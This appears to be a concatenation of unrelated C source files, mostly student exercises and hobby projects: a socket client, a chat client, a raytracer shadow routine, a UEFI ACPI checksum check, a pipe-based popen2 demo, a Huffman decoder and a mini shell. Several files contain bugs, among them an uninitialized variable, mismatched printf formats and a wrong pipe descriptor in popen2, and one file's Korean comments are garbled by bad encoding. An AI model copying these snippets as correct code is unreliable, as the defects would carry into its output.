write(socketfd, carattere, sizeof(carattere));
// ricevere i dati dal client
read(socketfd, &occorrenze, sizeof(occorrenze));
// chiusura socket
close(socketfd);
printf("\n\til carattere %s compare %s volte nella stringa %s\n\n", carattere, occorrenze, str);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* main.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: joguntij <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/12/10 16:29:56 by joguntij #+# #+# */
/* Updated: 2019/12/11 19:41:12 by lbonatti ### ########.fr */
/* */
/* ************************************************************************** */
#include "../headers/headers.h"
#include "../headers/ft.h"
int main(int argc, char *argv[])
{
char res[MAX_BUF_SIZE];
int tam_lin;
int tam_col;
int i;
int **matrix;
char guarda_char[4];
i = 1;
while (i < argc)
{
file = open(argv[i], O_RDONLY);
size = read(file, res, MAX_BUF_SIZE);
res[size] = '\0';
tam_col = ft_strlen_col(res, 2);
ft_save_char(res, tam_col, guarda_char);
tam_lin = ft_atoi(res, tam_col);
tam_col = ft_strlen_col(res, 1);
matrix = (int**)malloc(sizeof(int*) * tam_lin);
ft_populate_matrix(res, tam_col, matrix);
print_max_sub_square(matrix, tam_lin, tam_col, guarda_char);
ft_free_malloc(matrix, tam_lin);
free(matrix);
close(file);
ft_putchar('\n');
i++;
}
return (0);
}
|
C
|
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <signal.h>
#include "ui.h"
#include "senderthread.h"
#include "recieverthread.h"
#include "globalvars.h"
#include "unsentqueue.h"
#include "unrecievedqueue.h"
#include "errormanagement.h"
atomic_bool killed = false;
int sock_cli;
void connectServer(char *ip, int port) {
sock_cli = socket(AF_INET, SOCK_STREAM, 0);
EXIT_ON_FALUIRE(sock_cli);
struct sockaddr_in srv_nombre = {
.sin_family = AF_INET,
.sin_addr.s_addr = inet_addr(ip),
.sin_port = htons(port)
};
EXIT_ON_FALUIRE(connect(sock_cli, (struct sockaddr *) &srv_nombre, sizeof(struct sockaddr_in)));
}
pthread_t recieverThread;
pthread_t senderThread;
void atExit() {
onExit(-1);
}
void onExit(int signal) {
if(killed) {
return;
}
printf("\nExiting...");
fflush(stdout);
killed = true;
queueOutboundDestroy();
queueInboundDestroy();
if(recieverThread != 0) {
pthread_cancel(recieverThread);
}
if(senderThread != 0) {
pthread_cancel(senderThread);
}
shutdown(sock_cli, SHUT_RDWR);
close(sock_cli);
killUi();
printf("Bye!\n");
fflush(stdout);
if(signal > 0) {
exit(0);
}
}
/**
* Para que la ui sea responsiva se requiere que los locks nunca
* hagan comunicacion con el servidor.
*/
int main(__attribute__((unused)) int argc, char *argv[]) {
if(argc < 3) {
printf("Uso: client <ip> <puerto>\n");
return 0;
}
atexit(atExit);
signal(SIGTERM, onExit);
signal(SIGKILL, onExit);
signal(SIGPIPE, onExit);
queueOutboundInit();
queueInboundInit();
printf("Conectando a %s:%d", argv[1], atoi(argv[2]));
connectServer(argv[1], atoi(argv[2]));
pthread_create(&recieverThread, NULL, reciever, NULL);
pthread_create(&senderThread, NULL, sender, NULL);
ui();//blocking
}
|
C
|
/* platform-specific definitions for Phelix */
#ifndef _PLATFORM_H_
#define _PLATFORM_H_
#include <limits.h> /* get definitions: UINT_MAX, ULONG_MAX, USHORT_MAX */
typedef unsigned char u08b;
#if (UINT_MAX == 0xFFFFFFFFu) /* find correct typedef for u32b */
typedef unsigned int u32b;
#elif (ULONG_MAX == 0xFFFFFFFFu)
typedef unsigned long u32b;
#elif (USHORT_MAX == 0xFFFFFFFFu)
typedef unsigned short u32b;
#else
#error Need typedef for u32b!!
#endif
/* now figure out endianness */
#if defined(_MSC_VER) /* x86 (MSC) */
#define _LITTLE_ENDIAN_
#pragma intrinsic(_lrotl,_lrotr) /* MSC: compile rotations "inline" */
#define ROTL32(x,n) _lrotl(x,n)
#define ROTR32(x,n) _lrotr(x,n)
#elif defined(i386) /* x86 (gcc) */
#define _LITTLE_ENDIAN_
#elif defined(__i386) /* x86 (gcc) */
#define _LITTLE_ENDIAN_
#elif defined(_M_IX86) /* x86 */
#define _LITTLE_ENDIAN_
#elif defined(__INTEL_COMPILER) /* x86 */
#define _LITTLE_ENDIAN_
#elif defined(__ultrix) /* Older MIPS? */
#define ECRYPT__LITTLE_ENDIAN_
#elif defined(__alpha) /* Alpha */
#define _LITTLE_ENDIAN_
/* BIG endian machines: */
#elif defined(sun) || defined(sparc) /* Sun */
#define _BIG_ENDIAN_
#elif defined(__ppc__) /* PowerPC */
#define _BIG_ENDIAN_
#endif
#ifndef ROTL32
#define ROTL32(x,n) ((u32b)(((x) << (n)) ^ ((x) >> (32-(n)))))
#endif
#ifndef ROTR32
#define ROTR32(x,n) ((u32b)(((x) >> (n)) ^ ((x) << (32-(n)))))
#endif
/* handle Phelix byte swapping -- only needed on big-endian CPUs */
#if defined(_LITTLE_ENDIAN_)
#define BSWAP(x) (x)
#elif defined(_BIG_ENDIAN_)
#define BSWAP(x) ((ROTL32(x,8) & 0x00FF00FF) ^ (ROTR32(x,8) & 0xFF00FF00))
#endif
#endif /* _PLATFORM_H_ */
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* shadow.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: savincen <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/05/24 16:55:41 by savincen #+# #+# */
/* Updated: 2017/05/30 16:16:11 by savincen ### ########.fr */
/* */
/* ************************************************************************** */
#include "rtv1.h"
#include <stdio.h>
void set_shadows(t_calc *v, int l)
{
while (l > 0)
{
v->red = v->red * 0.75;
v->blue = v->blue * 0.75;
v->green = v->green * 0.75;
l--;
}
}
int calc_shadow(t_obj *light, t_calc *v, t_obj *current, t_obj *lstobj)
{
t_obj *tmp;
tmp = lstobj;
while (tmp)
{
if (tmp->obj_type != LIGHT && tmp->obj_type != CAMERA)
{
if (tmp->obj_type == SPHERE && tmp != current &&
check_sphere(light, v, tmp) && v->t <= 0.99999999)
{
return (1);
}
else if (tmp->obj_type == PLAN && tmp != current &&
check_plan(light, v, tmp) && v->t <= 0.99999999)
return (1);
else if (tmp->obj_type == CONE && tmp != current &&
check_cone(light, v, tmp) && v->t <= 0.99999999)
return (1);
else if (tmp->obj_type == CYLINDER && tmp != current &&
check_cylinder(light, v, tmp) && v->t <= 0.99999999)
return (1);
}
tmp = tmp->next;
}
return (0);
}
|
C
|
#include <stdio.h>
int main(int argc, char*argv) {
int val, abs;
if(scanf("%d", &val)){};
if (val < 0)
abs = -val;
printf("%d\n", abs);
return 0;
}
|
C
|
#include<stdio.h>
int main() {
int mat1[3][2],mat2[3][2],mat[3][2];
for(int i=0;i<3;i++) {
for(int j=0;j<2;j++) {
printf("Enter the element in %d row %d column of first matrix: ",i+1,j+1);
scanf("%d",&mat1[i][j]);
}
}
for(int i=0;i<3;i++) {
for(int j=0;j<2;j++) {
printf("Enter the element in %d row %d column of second matrix: ",i+1,j+1);
scanf("%d",&mat2[i][j]);
}
}
for(int i=0;i<3;i++) {
for(int j=0;j<2;j++) {
mat[i][j]=mat1[i][j]+mat2[i][j];
}
}
printf("The resultant matrix after sum is:\n\t");
for(int i=0;i<3;i++) {
for(int j=0;j<2;j++) {
printf("%d\t",mat[i][j]);
}
printf("\n\t");
}
return 0;
}
|
C
|
#include <stdio.h>
int main() {
int *ptr;
int val = 1;
ptr = &val;
//print out dereferenced values
printf("dereferenced *ptr= %d\n",*ptr);
printf("dereferenced address of val*(&val)= %d\n",*(&val));
int *uninit; // leave the int pointer uninitialized
int *nullptr = 0; // initialized to 0, could also be NULL
void *vptr; // declare as a void pointer type
//int val = 1;
int *iptr;
int *backptr;
// void type can hold any pointer type or reference
iptr = &val;
vptr = iptr;
printf("iptr=%p, vptr=%p\n", (void *)iptr, (void *)vptr);
// assign void pointer back to an int pointer and dereference
backptr = vptr;
printf("*backptr=%d\n", *backptr);
// print null and uninitialized pointers
printf("uninit=%p, nullptr=%p\n", (void *)uninit, (void *)nullptr);
// don't know what you will get back, random garbage?
printf("*nullptr=%d\n", nullptr);
// will cause a segmentation fault
// printf("*nullptr=%d\n", nullptr);
}
|
C
|
// acpi functions
#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Library/MemoryAllocationLib.h>
#include <Library/UefiBootServicesTableLib.h>
#include "info.h"
#include "uefi_acpi.h"
EFI_STATUS validate_acpi_table(void *acpi_table)
{
UINT8 rsdp_version = 255;
if (!acpi_table) {
return EFI_INVALID_PARAMETER;
}
// Determine what version of ACPI this is
{
rsdp_descriptor_t *desc = (rsdp_descriptor_t *) acpi_table;
if (desc->revision == 0) {
rsdp_version = 0;
} else if (desc->revision == 2) {
rsdp_version = 2;
}
}
// Check if this is an invalid ACPI version
if (rsdp_version == 255) {
return EFI_INVALID_PARAMETER;
}
// First checksum the acpi 1.0 portion
{
UINT8 *byte = (UINT8 *) acpi_table;
UINT64 sum = 0;
for (UINT32 i = 0; i < sizeof(rsdp_descriptor_t); i++) {
sum += byte[i];
}
// We only care about the last byte of the sum, it must equal 0
if ((sum & 0xFF) != 0) {
return EFI_INVALID_PARAMETER;
}
}
// ACPI 1.0 checksum passed, check v2 if we need to
// v2 checksum is the same process as v1, just starting from the acpi v2 fields
if (rsdp_version == 2) {
rsdp_descriptor20_t *desc = (rsdp_descriptor20_t *) acpi_table;
UINT8 *byte = (UINT8 *) &(desc->length);
UINT64 sum = 0;
for (UINT32 i = 0; i < (sizeof(rsdp_descriptor20_t) - sizeof(rsdp_descriptor_t)); i++) {
sum += byte[i];
}
// Same as acpi v1, we only care about the last byte of the sum, must be equal to 0
if ((sum & 0xFF) != 0) {
return EFI_INVALID_PARAMETER;
}
}
return EFI_SUCCESS;
}
|
C
|
// printing the number from 1 to 10
#include<stdio.h>
int main()
{
for (int i = 10; i>=0; i--)
{
printf("The number is %i\n", i);
}
}
|
C
|
/* ǽ 2 : upperString.c
ۼ : 2019. 05. 09 ~ 05. 11
ۼ 20165153 缺
α : (1) Űκ scanfԼ ̿ ڿ Է¹ް
(2) Է¹ ڿ 빮ڷ ϴ Լ
(3) ڿ ̸ ϴ Լ ۼ ȣϴ α
*/
#define _CRT_SECURE_NO_WARNINGS // scanf ʰ
#define SIZE 100 // define SIZE 100
#include <stdio.h> // ó
#include <ctype.h> // ڿ ҹ ȯóԼ ó ctype.h
void toUpperCase(char str[]); // Է¹ ڿ 빮ڷ ϴ toUpperCaseԼ
int length(char str[]); // ڿ ̸ ϴ lenghtԼ
int main(int argc, char* argv[]) { // mainԼ
char str[SIZE] = ""; // ũⰡ 100 ڿ str ڿ ʱȭ, char str[SIZE] = {0); .
printf(" ڿ Է: "); // ڿ Էش
scanf("%s", str); // scanfԼ Է¹ ڿ %s str , ߰
// ڿ Ѵ. ex) Hello C -> HEllo
printf("Է¹ ڿ\t: %s\n", str); // Է¹ ڿ Ѵ.
toUpperCase(str); // toUpperCaseԼ ȣ Է¹ ڿ 빮ڷ ش.
length(str); // lengthԼ ȣ Է¹ ڿ ̸ Ѵ.
system("pause"); // â Ȯ
return 0; // 0 ȯ
}
void toUpperCase(char str[]) { // Է¹ ڿ 빮ڷ ϴ toUpperCaseԼ
int i; // ݺ
for (i = 0; i < SIZE; i++) { // SIZEŭ ݺ 0ڸ ϴ ݺ
str[i] = toupper(str[i]); // toupperԼ ȣ ڿ 빮ڷ ȯϿ ε
if (str[i] == '\0') { // ڿ 0 ڰ ִٸ
break; // ݺ break
}
}
printf(" ڿ\t: %s\n", str); // 빮ڷ str Ѵ.
}
int length(char str[]) { // ڿ ̸ ϴ lenghtԼ
int count = 0; // ڿ ̸ ϴ count 0 ʱȭ
int i; // ݺ
// ݺҶ count++ ڿ ̸ Ű ݺ
for (i = 0; i < SIZE; i++, count++) { // SIZEŭ ݺ 0ڸ Ѵ.
if (str[i] == '\0') { // // ڿ 0 ڰ ִٸ
break; // ݺ break
}
}
printf("ڿ \t: %d\n", count); // ݺ count
}
|
C
|
//
// main.c
// [20120425] fork_exec_pipe
//
// Created by 貴裕 土屋 on 12/04/28.
// Copyright (c) 2012年 家族. All rights reserved.
//
/* Part.03 - シェルsortのソートを動かしてみる
* systemを使うやり方からは比較的容易に書き換えが出来る
* 中間ファイルを生成しないので最後の削除作業は不要で、速度もこちらの方が少しだけ早い.
* なお、popen()で得たファイルポインターはpclose()で閉じる。
*
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
//#include <signal.h>
#include <string.h>
//#include <errno.h>
//#include <sysproto.h>
#define R (0)
#define W (1)
int popen2(char *command, int *fd_r, int *fd_w);
int main(int argc, const char * argv[]) {
char str[512];
int fd_r, fd_w;
int pid;
char *outs = "ccc\naaa\nbbb\n";
if((pid=popen2("sort", &fd_r, &fd_w)) == 0) {
fprintf(stderr, "error!!!\n");
exit(-1);
}
// sortに入力
write(fd_w, outs, strlen(outs));
close(fd_w);
// sortから出力を受け取る。
while(1) {
if( read(fd_r, str, 1) == 0 ) {
break;
}
str[1] = 0x00;
printf("%s", str);
}
close(fd_r);
return 0;
}
/*
* char *command :起動するプログラム名など
* int *fd_r, int *fd_w :ファイルディスクリプタを戻すためのポインタ変数
*/
int popen2(char *command, int *fd_r, int *fd_w) {
int pipe_c2p[2], pipe_p2c[2];
int pid;
/* Create 2 of pipes */
if ( pipe(pipe_c2p) < 0 ) {
perror("popen2");
return (-1);
}
if ( pipe(pipe_p2c) < 0 ) {
perror("popen2");
close(pipe_c2p[R]);
close(pipe_c2p[W]);
return (-1);
}
/* Invoke process */
if ( (pid = fork()) < 0) {
perror("popen2");
close(pipe_c2p[R]);
close(pipe_c2p[W]);
close(pipe_p2c[R]);
close(pipe_p2c[W]);
return (-1);
}
if (pid == 0) { /* I'm child */
close(pipe_p2c[W]);
close(pipe_c2p[R]);
dup2(pipe_p2c[R],0);
dup2(pipe_c2p[W],1);
close(pipe_p2c[R]);
close(pipe_c2p[W]);
if (execlp("sh","sh","-c",command,NULL) < 0) {
perror("popen2");
close(pipe_p2c[R]);
close(pipe_c2p[W]);
exit(1);
}
}
close(pipe_p2c[R]);
close(pipe_c2p[W]);
*fd_w = pipe_p2c[W];
*fd_r = pipe_c2p[W];
return (pid);
}
|
C
|
#include <stdio.h>
#include <strings.h>
int main(int argc, char const *argv[])
{
FILE* in = fopen("decodeFIXED.txt", "r");
char arr[1000];
bzero(arr, 1000);
char ch;
int location;
for (int i = 0; i < 1000; ++i)
{
i[arr] = '*';
}
// arr[0] = '*';
char temp;
while(fread(&temp, 1, 1, in))
{
location = 1;
while(1)
{
fread(&ch, 1, 1, in);
if(ch != '\n')
{
if (ch == '0')
{
location *= 2;
}
else
{
location = location*2 + 1;
}
}
else
{
arr[location] = temp;
break;
}
}
}
FILE* message = fopen("message.txt", "r");
location = 1;
while(fread(&ch, 1, 1, message))
{
if(ch == '0')
location *= 2;
else
location = location*2 + 1;
if(arr[location] != '*')
{
printf("%c", arr[location]);
location = 1;
}
}
printf("\n");
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/wait.h>
#include <string.h>
#include <readline/readline.h>
#include <readline/history.h>
//----NOTES----
//add common cd commands to history
//clean up cd code
//execution of common cd codes when !histn is called
//max size of args for running exec
const int NO_OF_ARGS = 128;
//max size of a user input string
const int ARG_SIZE = 1024;
typedef struct History {
char* command;
struct History* next;
struct History* prev;
} History;
//to make tokens(each string) and return an array of tokens
char** tokenize(char* line) {
//seperator and buffer for splitting the string.
char* seperator = " ";
char* buffer;
//array of tokens to be returned
char** args = (char**) malloc(sizeof(char*) * NO_OF_ARGS);
//using another char* to not change the initial given string
int lineLength = strlen(line);
char* bufferLine = (char*) calloc(lineLength + 1, sizeof(char));
strcpy(bufferLine, line);
int i = 0;
//split start
buffer = strtok(bufferLine, seperator);
while(buffer != NULL) {
//add only if the token size is not 0
if (strlen(buffer) > 0) {
args[i] = buffer; //storing each token in char* array
}
i++;
buffer = strtok(NULL, seperator);
}
args[i] = NULL;
return args;
}
//to take user input and return the tokenized string
char** input(char* dir) {
char** args;
//piping commands for taking input
int fd[2];
if (pipe(fd)) {
fprintf(stderr, "Pipe Failed. Coder is noob. Sorry.\n");
return NULL;
}
//forking to read from a process and write in another process
int rc = fork();
if (rc < 0) {
//if fork fails print that it failed and return
fprintf(stderr, "Fork Failed. Coder is noob. Sorry.\n");
return NULL;
} else if (rc == 0) {
//Child
char line[ARG_SIZE];
char* buffer;
//to get the hostname
char hostname[1024];
hostname[1023] = '\0';
gethostname(hostname, 1024);
//to get the username
char* username = getenv("USER");
//the display and reading of the user input
if (dir != NULL) {
printf("<%s@%s:~%s", username, hostname, dir);
} else {
printf("<%s@%s:~", username, hostname);
}
buffer = readline(">");
//if the user input is not NULL then copy the input
//to the required char*
if (buffer != NULL) {
add_history(buffer);
strcpy(line, buffer);
}
//close the read end of the pipe
close(fd[0]);
//write to the write end of the pipe and exit from the process
write(fd[1], line, sizeof(line));
exit(1);
} else {
//Parent
//waiting for the child process to write to the pipe
wait(NULL);
char line[ARG_SIZE];
//close the write side
close(fd[1]);
//read from the read side of the pipe
read(fd[0], line, sizeof(line));
//tokenize the given input
args = tokenize(line);
}
return args;
}
//to print all the tokens obtained
void printArgs(char** args) {
int i = 0;
while(args[i] != NULL) {
printf("%s\n",args[i]);
i++;
}
return;
}
//to make a sinngle string from given tokens
char* makeString(char** args) {
if (*args == NULL) {
return NULL;
}
char* line = (char*)malloc(sizeof(char) * ARG_SIZE);
int i = 0;
//concatenate all the token along with a space between them
while(args[i] != NULL) {
if (i != 0) {
line = strcat(line, " ");
}
line = strcat(line, args[i]);
i++;
}
return line;
}
//change directory to changeTo from current directory.
//rootDir is used to ensure we don't go up a level from our shell's root.(Using cd .. at shell's root)
//bool canChange to see if we are able to change to the specified directory
char* changeDir(char* changeTo, char* rootDir, bool* canChange) {
char* temp = (char*) malloc(sizeof(char) * ARG_SIZE);
char* to = (char*) malloc(sizeof(char) * ARG_SIZE);
//to get the current directory of shell + directory from shell.
//i.e. full directory from root of terminal
char currDir[ARG_SIZE];
if (getcwd(currDir, sizeof(currDir)) == NULL) {
printf("Error getting directory\n");
free(temp);
return NULL;
}
//if we perform a cd .. command from shell's root, don't go a level up
if (strcmp(changeTo, "..") == 0 && strcmp(rootDir, currDir) == 0) {
printf("Already in the root directory.\n");
*canChange = false;
strcpy(temp, currDir);
return temp;
}
//add / and changeTo to current path
to = strcat(currDir, "/");
to = strcat(to, changeTo);
//chdir to the path 'to'
//if it fails, canChange = false
if (chdir(to) != 0) {
fprintf(stderr, "Cannot change to Directory: %s\n", changeTo);
*canChange = false;
}
//get the directory after change and return
if (getcwd(currDir, sizeof(currDir)) == NULL) {
printf("Error getting directory\n");
free(temp);
return NULL;
}
strcpy(temp, currDir);
return temp;
}
//used to change directory to previous directory when cd - command is used
char* changeBTWNPrevDirs(char* prevDir, char* goToDir) {
char* temp = (char*) malloc(sizeof(char) * ARG_SIZE);
char* to = (char*) malloc(sizeof(char) * ARG_SIZE);
//add the ddirectory to change to
strcpy(temp, goToDir);
to = strcat(temp, prevDir);
//change directory
if (chdir(to) != 0) {
fprintf(stderr, "Cannot change to Directory: %s\n", prevDir);
}
//get directory after change and return
char currDir[ARG_SIZE];
if (getcwd(currDir, sizeof(currDir)) == NULL) {
printf("Error getting directory\n");
free(temp);
return NULL;
}
strcpy(temp, currDir);
return temp;
}
//returns (char*)(fullDir - shellDir)
char* morphDir(char* fullDir, char* shellDir) {
int differenceInLength = strlen(fullDir) - strlen(shellDir);
if (differenceInLength <= 0) {
return NULL;
}
char* temp = (char*) malloc(sizeof(char) * (differenceInLength + 1));
int shellDirLength = strlen(shellDir);
int i;
for (i = 0; i < shellDirLength; i++) {
if(fullDir[i] != shellDir[i]) {
return NULL;
}
i++;
}
while(i < strlen(fullDir)) {
temp[i-shellDirLength] = fullDir[i];
i++;
}
temp[i] = '\0';
return temp;
}
//prints the directory from the terminal's root
void getCurrDir() {
char curr[ARG_SIZE];
if (getcwd(curr, sizeof(curr)) != NULL) {
printf("Current Directory: %s\n", curr);
}
}
//prints the directory from the shell's root
void getShellDir(char* shellDir) {
if (shellDir == NULL) {
printf("root~\n");
return;
}
printf("~%s\n", shellDir);
return;
}
//prints all the history of commands
void printHist(History** hist) {
if (*hist == NULL) {
printf("Hist is Empty.\n");
return;
}
History* last;
last = *hist;
printf("1) %s\n", last->command);
int index = 2;
while(last->next != NULL) {
last = last->next;
printf("%d) %s\n",index, last->command);
index++;
}
return;
}
//returns 1 if it finds char* command in the history
int findCommand(History* hist, char* command) {
if (hist == NULL) {
return 0;
}
History* last;
last = hist;
while (last != NULL) {
//if current node's command = required command return
if (strcmp(command, last->command) == 0) {
return 1;
}
last = last->next;
}
return 0;
}
//inserts command into history
int insertIntoHist(History** hist, char* command) {
History* newNode = (History*)malloc(sizeof(History));
newNode->command = (char*) malloc(sizeof(char) * strlen(command));
strcpy(newNode->command, command);
newNode->next = NULL;
History* listNode = *hist;
if (*hist == NULL) {
newNode->prev = NULL;
*hist = newNode;
return 0;
}
while(listNode->next != NULL) {
listNode = listNode->next;
}
listNode->next = newNode;
newNode->prev = listNode;
return 0;
}
//deletes a node from doubly linked list
void deleteNode(History** hist, History* last) {
if (*hist == NULL || last == NULL) {
return;
}
//if head node = last node(node to be deleted), go to the next node
if (*hist == last) {
*hist = last->next;
}
//connecting prev node and next node
if (last->prev != NULL) {
last->prev->next = last->next;
}
if (last->next != NULL) {
last->next->prev = last->prev;
}
//freeing the node to be deleted
free(last);
return;
}
//moves the command to the bottom of history
int moveToLastInHist(History** hist, char* command) {
if (*hist == NULL) {
return -1;
}
History* last = *hist;
while (last != NULL) {
//if we encounter the required command, delete the node anf insert it at last
if (strcmp(command, last->command) == 0) {
deleteNode(hist, last);
insertIntoHist(hist, command);
return 0;
}
else {
last = last->next;
}
}
return -1;
}
//to fork, execute and insert using the given token array
int executeAndInsert(History** hist, char** args) {
int rc = fork();
//pipe to get boolean working
if (rc < 0) {
//if fork fails print that it failed and return
fprintf(stderr, "Fork Failed. Coder is noob. Sorry.\n");
return EXIT_FAILURE;
} else if (rc == 0) {
//Child
if (execvp(*args, args) < 0) {
fprintf(stderr, "Please Enter a Valid Command. Exec Failed\n");
exit(1);
}
} else {
//Parent
wait(NULL);
char* line = (char*)malloc(sizeof(char) * ARG_SIZE);
line = makeString(args);
//if we don'f find and command, insert into history
if (!findCommand(*hist, line)) {
insertIntoHist(hist, line);
}
// move it to the last of history
else {
moveToLastInHist(hist, line);
}
free(line);
}
return 0;
}
//to fork and execute given commands
int executeOnly(char** args) {
int rc = fork();
if (rc < 0) {
//if fork fails print that it failed and return
fprintf(stderr, "Fork Failed. Coder is noob. Sorry.\n");
return EXIT_FAILURE;
} else if (rc == 0) {
//Child
if (execvp(*args, args) < 0) {
fprintf(stderr, "Please Enter a Valid Command. Exec Failed\n");
exit(1);
}
} else {
//Parent
wait(NULL);
}
return 0;
}
//to get the integer specified in histn or !histn command
int getIntFromCommand(char* command) {
if (command == NULL) {
return -1;
}
char* temp = (char*) malloc(sizeof(char) * 32);
if (command[0] == '!') {
int i = 5;
while(command[i] != '\0') {
temp[i - 5] = command[i];
i++;
}
temp[i] = '\0';
} else {
int i = 4;
while(command[i] != '\0') {
temp[i - 4] = command[i];
i++;
}
temp[i] = '\0';
}
int res;
if (strcmp(temp, "0") == 0) {
res = temp[0] - '0';
}
else {
res = atoi(temp);
}
if (res <= 0) return -1;
else return res;
}
//to execute n th commmand when !histn is called
void execHistN(History** hist, int n) {
if (hist == NULL) {
printf("History is empty.\n");
return;
}
int i = 1;
History* last = *hist;
while(last != NULL) {
if (n == i) {
char** args = tokenize(last->command);
executeOnly(args);
return;
}
else {
last = last->next;
i++;
}
}
printf("N > history size. Please check.\n");
return;
}
//to print the last n commands executed by the shell when histn is called
void printHistN(History** hist, int n) {
if (hist == NULL) {
printf("History is empty.\n");
return;
}
History* last = *hist;
int size = 0;
while(last != NULL) {
last = last->next;
size++;
}
last = *hist;
int start = size - n + 1 <= 0 ? 1 : size - n + 1;
int i = 1;
while(last != NULL) {
if (i == start) break;
last = last->next;
i++;
}
while(last != NULL) {
printf("%d) %s\n", start, last->command);
start++;
last = last->next;
}
return;
}
int main() {
//char* array to store tokens to use execvp call to execute commands
char** args;
char* dir = (char*) malloc(sizeof(char) * ARG_SIZE);
//for getting the root directory of the shell.
char curr[ARG_SIZE];
if (getcwd(curr, sizeof(curr)) == NULL) {
printf("Error...Current Directory Fail.\n");
return 0;
}
//for morphing the directory name
char* shellRootDir = curr;
//for using the directory name
char* rootDir = (char*) malloc(sizeof(char) * strlen(shellRootDir));
strcpy(rootDir, shellRootDir);
//the directory from the root of the shell.
char* shellDir;
//the directory from which we came to the present directory
//i.e. the previous directory
char* prevDir;
//the linked list to store all the commands in the history
History* histOfCommands;
printf("Starting up the Shell...\n");
while(true) {
//take input and store tokenized string in the char* array
args = input(shellDir);
//if there is no input continue
if (args[0] == NULL) continue;
//to check if the command is a hist command
bool isHist = false;
if (strstr(args[0], "hist") != NULL) {
isHist = true;
}
//if user enters stop it breaks the while loop and exits
if (strcmp(args[0], "stop") == 0 && args[1] == NULL) {
break;
}
//change directory command
//only insert common cd commands into history
else if (strcmp(args[0], "cd") == 0) {
bool prev = false;
//if no arguments, go to shell's root after storing the previous directory
if (args[1] == NULL) {
if (prevDir != NULL) {
strcpy(prevDir, shellDir);
} else {
prevDir = (char*)malloc(sizeof(char) * strlen(shellDir));
strcpy(prevDir, shellDir);
}
chdir(shellRootDir);
shellDir = NULL;
}
//if cd - command, go back to the previous directory
else if (strcmp(args[1], "-") == 0) {
//if prevDir is NULL
if (prevDir == NULL) {
prev = true;
char* cutTemp;
char curr[ARG_SIZE];
if (getcwd(curr, sizeof(curr)) == NULL) {
printf("can't get current directory.\n");
continue;
//return;
}
//cutTemp = current directory - shell's root directory
cutTemp = morphDir(curr, shellRootDir);
//if cutTemp is not NULL store it as prevDir and go to shell's root as prevDir was NULL
if (cutTemp != NULL) {
printf("Previous Directory was: root~\n");
char* temp;
prevDir = (char*) malloc(sizeof(char) * strlen(cutTemp));
strcpy(prevDir, cutTemp);
dir = changeBTWNPrevDirs(temp, rootDir);
shellDir = morphDir(dir, shellRootDir);
continue;
//return;
}
//else continue to the next user input
else {
printf("No previous directory.\n");
continue;
//return;
}
}
//if prevDir is not NULL
else {
printf("Previous Directory was: %s\n", prevDir);
//stor prevDir in temp
char* temp = (char*) malloc(sizeof(char) * strlen(prevDir));
//set prevDir
strcpy(temp, prevDir);
if (shellDir == NULL) {
prevDir = NULL;
} else {
strcpy(prevDir, shellDir);
}
//change directory to prevDir by using temp
dir = changeBTWNPrevDirs(temp, rootDir);
//get directory from shell's root
shellDir = morphDir(dir, shellRootDir);
//free allocated memory
free(temp);
continue;
//return;
}
}
//if there are extra arguments, handle error
else if (args[2] != NULL) {
fprintf(stderr, "Cannot change to Directory: %s\n", args[1]);
continue;
//return;
}
//execution of normal cd command
else {
bool canChange = true;
//get current directory
char curr[ARG_SIZE];
if (getcwd(curr, sizeof(curr)) == NULL) {
printf("Can't get Current Directory.\n");
}
//set prevDir after storing it for if it fails to change directory
char* temp;
if (prevDir != NULL) {
temp = (char*) malloc(sizeof(char) * strlen(prevDir));
strcpy(temp, prevDir);
} else {
temp = NULL;
}
prevDir = morphDir(curr, shellRootDir);
//change directory
dir = changeDir(args[1], rootDir, &canChange);
printf("%s\n", dir);
//if it wasn't able to change directory
//revert back the value of prevDir
if (!(canChange)) {
if (temp == NULL) {
prevDir = NULL;
} else {
if (prevDir != NULL) {
strcpy(prevDir, temp);
} else {
prevDir = (char*)malloc(sizeof(char) * strlen(temp));
strcpy(prevDir, temp);
}
}
}
shellDir = morphDir(dir, shellRootDir);
}
}
//get the current location from shell's root
else if (strcmp(args[0], "cwd") == 0 && args[1] == NULL) {
//if cwd is not already executed, insert
if (!findCommand(histOfCommands, args[0])) {
insertIntoHist(&histOfCommands, args[0]);
}
//else move to the last of the hist
else {
moveToLastInHist(&histOfCommands, args[0]);
}
//get the root dir of shell
getShellDir(shellDir);
}
//if it is a hist command
else if (isHist && args[1] == NULL) {
//hist, then print commands executed so far
if (strcmp(args[0], "hist") == 0) {
printHist(&histOfCommands);
}
else {
//get number beside hist
int commandNo = getIntFromCommand(args[0]);
//if it is a valid number
if (commandNo > 0) {
//if !histn is called
if (args[0][0] == '!') {
execHistN(&histOfCommands, commandNo);
}
//if histn is called
else {
printHistN(&histOfCommands, commandNo);
}
}
//else if it is not valid continue
else {
printf("Enter a valid hist command.\n");
continue;
}
}
}
//execute commands
else {
//to execute and insert the given command into history.
executeAndInsert(&histOfCommands, args);
}
}
printf("Exiting...\n");
//free the memory if allocated.
if (args != NULL) free(args);
if (rootDir != NULL) free(rootDir);
if (shellDir != NULL) free(shellDir);
if (prevDir != NULL) free(prevDir);
if (dir != NULL) free(dir);
return 0;
}
|
C
|
#include<stdio.h>
main(){
int nim[11];
printf("Masukkan Nim ke-1 = ");
scanf("%i", &nim[0]);
printf("Masukkan Nim ke-2 = ");
scanf("%i", &nim[1]);
printf("Masukkan Nim ke-3 = ");
scanf("%i", &nim[2]);
printf("Masukkan Nim ke-4 = ");
scanf("%i", &nim[3]);
printf("Masukkan Nim ke-5 = ");
scanf("%i", &nim[4]);
printf("Masukkan Nim ke-6 = ");
scanf("%i", &nim[5]);
printf("Masukkan Nim ke-7 = ");
scanf("%i", &nim[6]);
